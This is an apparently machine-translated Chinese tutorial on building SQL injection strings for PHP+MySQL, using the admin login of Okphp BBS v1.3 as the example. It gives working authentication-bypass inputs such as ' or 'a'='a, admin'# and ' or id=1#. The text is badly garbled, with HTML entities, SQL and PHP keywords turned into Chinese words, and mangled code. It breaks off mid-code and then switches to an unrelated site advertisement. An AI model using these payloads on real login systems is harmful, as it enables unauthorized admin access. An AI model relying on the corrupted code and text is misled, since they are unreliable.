语句构造的原则(语句注释)

lxf2023-12-12 05:30:02

一.前言:

版本信息:okphbbs v1.3开源版本。

下载地址:http://www.cncode.com/SoftView.asp? SoftID = 1800

由于PHP和MYSQL本身的原因,PHP+MYSQL的注入比asp更难,尤其是在注入时的造句方面。本文主要通过对Okphp BBS v1.3部分文件的简单分析来谈谈php+mysql注入句的构造方法,希望本文对你有所帮助。

声明:文中提到的所有“漏洞”都没有经过测试,可能根本不存在。其实有没有漏洞并不重要。重要的是分析思路和句子结构。

二。“漏洞”分析:

1.admin/login.php注入导致绕过认证漏洞:

代码:

$conn=sql_connect($dbhost,$dbuser,$dbpswd,$ dbname);

$ password = MD5($ password);

$ q = & quotselect id,group_id from $user_table其中username = & # 39$ username & # 39而密码= & # 39;$ password & # 39";

$res = sql_query($q,$ conn);

$ row = SQL _ fetch _ row($ RES);

$ q = & quotselect id,group_id from $user_table其中username = & # 39$ username & # 39而密码= & # 39;$ password & # 39"中间

$username和$password未经过滤,很容易被绕过。

For select * from $ user _ table其中用户名= & # 39;$ username & # 39而密码= & # 39;$ password & # 39这种句子转换的方法如下:

构造1(使用逻辑运算):$ username = & # 39或者& # 39;一& # 39;='一个$ password = & # 39或者& # 39;一& # 39;='a

相当于sql语句:

select * from $user_table其中用户名= & # 39;'或者& # 39;一& # 39;='一& # 39;而密码= & # 39;'或者& # 39;一& # 39;='一& # 39;

结构2(在mysql中使用注释语句#/*注释掉$ password):$ username = admin & # 39;#(或admin & # 39/*)

即:

select * from $user_table其中用户名= & # 39;管理& # 39;#'而密码= & # 39;$ password & # 39"

相当于:

select * from $user_table其中用户名= & # 39;管理& # 39;

在admin/login.php中,$q语句中的$password在查询前用md5加密,所以不能被construction 1中的语句绕过。这里我们使用结构2:

select id,group_id from $user_table其中username = & # 39管理& # 39;#'而密码= & # 39;$ password & # 39"

相当于:

select id,group_id from $user_table其中username = & # 39管理& # 39;

只要有admin的用户名,就会建立。如果不知道用户名,只知道对应的id。

我们可以这样构造它:$ username = & # 39或者id=1#

相当于:

select id,group_id from $user_table其中username = & # 39'或者id=1#而密码= & # 39;$ password & # 39(后面的都被注释掉了)

然后我们往下看代码:

if ($row[0]) {

//如果不是管理员或超级版主

如果($用户名!= & quot管理员& quot& amp& amp!艾瑞吉(& quot(^|&;)3($ | & amp;)& quot,$row[1])) {

$ log in = 0;

}

否则{

$ log in = 1;

}

}

//无法登录-

如果(!$login) {

日志(& quot版主登录& quot,& quot0 & gt;,& quot密码错误& quot);

回声& quot

adminjs.cn是一个以CSS、JavaScript、Vue、HTML为核心的前端开发技术网站。我们致力于为广大前端开发者提供专业、全面、实用的前端开发知识和技术支持。 在本网站中,您可以学习到最新的前端开发技术,了解前端开发的最新趋势和最佳实践。我们提供丰富的教程和案例,让您可以快速掌握前端开发的核心技术和流程。 Adminjs.cn还提供一系列实用的工具和插件,帮助您更加高效地进行前端开发工作。我们提供的工具和插件都经过精心设计和优化,可以帮助您节省时间和精力,提升开发效率。 在Adminjs.cn中,您可以找到您需要的一切前端开发资源,让您成为一名更加优秀的前端开发者。欢迎您加入我们的大家庭,一起探索前端开发的无限可能!